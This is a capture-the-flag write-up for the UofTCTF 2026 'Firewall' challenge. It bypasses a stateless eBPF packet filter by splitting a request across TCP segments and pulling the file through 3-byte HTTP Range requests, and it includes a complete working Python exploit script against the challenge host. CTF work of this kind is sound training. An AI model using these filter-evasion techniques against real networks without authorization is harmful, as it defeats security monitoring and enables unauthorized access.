Firewall
Firewall
Platform: uoftctf2026 | Category: Crypto | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: http_range_request, packet_filter_evasion, tcp_segmentation_bypass
Summary
Task: Web server behind an eBPF/TC firewall that blocks packets containing "flag" or "%" with per-packet stateless inspection. Solution: Bypassed the ingress filter by splitting "flag" across two TCP segments using TCP_NODELAY, and bypassed the egress filter by requesting the file in 3-byte HTTP Range chunks (smaller than the 4-byte blocked pattern).
Firewall — UofTCTF 2026
Description
"Free flag at /flag.html"
Target: http://35.227.38.232:5000
Provided files: firewall.zip containing Dockerfile, entrypoint.sh, firewall.c, flag.html, index.html
Analysis
The challenge implements an eBPF firewall using TC (Traffic Control) that filters both ingress and egress traffic. The firewall.c code shows:
- Blocks any TCP packet containing the string "flag" (4 bytes)
- Blocks any TCP packet containing the character '%' (to prevent URL encoding bypass)
- Blocks IP fragmentation
- Blocks IPv6
The filter checks the entire TCP payload (including TCP header) for these patterns.
The Problem
When trying to access /flag.html directly:
- Ingress block: Request contains "flag" in the URL path
- Egress block: Response contains the flag string
Even if the request somehow gets through, the response containing the flag would be blocked on egress.
Key Vulnerability
The eBPF filter inspects each packet individually without maintaining state across packets. This is a fundamental limitation of stateless packet filtering.
Solution
Step 1: Bypass Ingress Filter (Request)
Used TCP segmentation to split "flag" across multiple TCP segments:
- Send
GET /flain first TCP segment - Send
g.html HTTP/1.1\r\n...in second TCP segment - Small delay between sends ensures separate packets
python read-only • copy allowedpart1 = b'GET /fla' part2 = b'g.html HTTP/1.1\r\nHost: ...\r\nConnection: close\r\n\r\n' s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # Disable Nagle's algorithm s.send(part1) time.sleep(0.02) # Force packet separation s.send(part2)
The TCP_NODELAY option disables Nagle's algorithm, ensuring each send() creates a separate packet. The small delay guarantees the first packet is transmitted before the second.
Step 2: Bypass Egress Filter (Response)
Used HTTP Range requests with 3-byte chunks. Since "flag" is 4 bytes, it can never appear in a 3-byte response:
python read-only • copy allowedfor start in range(0, 213, 3): end = min(start + 2, 212) range_header = f'bytes={start}-{end}' # Send request with Range header # Collect 3-byte chunks
Each response body is at most 3 bytes, making it impossible for the 4-character pattern "flag" to exist in any single packet.
Full Solution Code
python read-only • copy allowed#!/usr/bin/env python3 import socket import time TARGET = '35.227.38.232' PORT = 5000 def send_request(range_header): """Send segmented request with Range header""" part1 = b'GET /fla' part2 = f'g.html HTTP/1.1\r\nHost: {TARGET}:{PORT}\r\nRange: {range_header}\r\nConnection: close\r\n\r\n'.encode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.settimeout(5) try: s.connect((TARGET, PORT)) s.send(part1) time.sleep(0.02) # Force packet separation s.send(part2) response = b'' while True: try: data = s.recv(4096) if not data: break response += data except socket.timeout: break return response except Exception as e: print(f"Error: {e}") return b'' finally: s.close() # First, determine file size (or use known size: 213 bytes) FILE_SIZE = 213 # Get file in 3-byte chunks to bypass egress filter result = b'' for start in range(0, FILE_SIZE, 3): end = min(start + 2, FILE_SIZE - 1) response = send_request(f'bytes={start}-{end}') if response and b'\r\n\r\n' in response: headers, body = response.split(b'\r\n\r\n', 1) result += body print(f"[+] Got bytes {start}-{end}: {body}") time.sleep(0.05) # Rate limiting print("\n=== Full Response ===") print(result.decode())
Why It Works
| Filter Limitation | Bypass Technique |
|---|---|
| Per-packet inspection | TCP segmentation splits keywords |
| No stream reassembly | Each packet checked independently |
| Fixed pattern matching | 3-byte chunks < 4-byte pattern |
| Stateless filtering | No correlation between packets |
The eBPF filter sees:
- Packet 1:
GET /fla- no "flag" pattern - Packet 2:
g.html HTTP/1.1...- no "flag" pattern - Response packets: 3 bytes each - can never contain "flag"
References
- eBPF TC (Traffic Control)
- HTTP Range Requests (RFC 7233)
- TCP_NODELAY and Nagle's Algorithm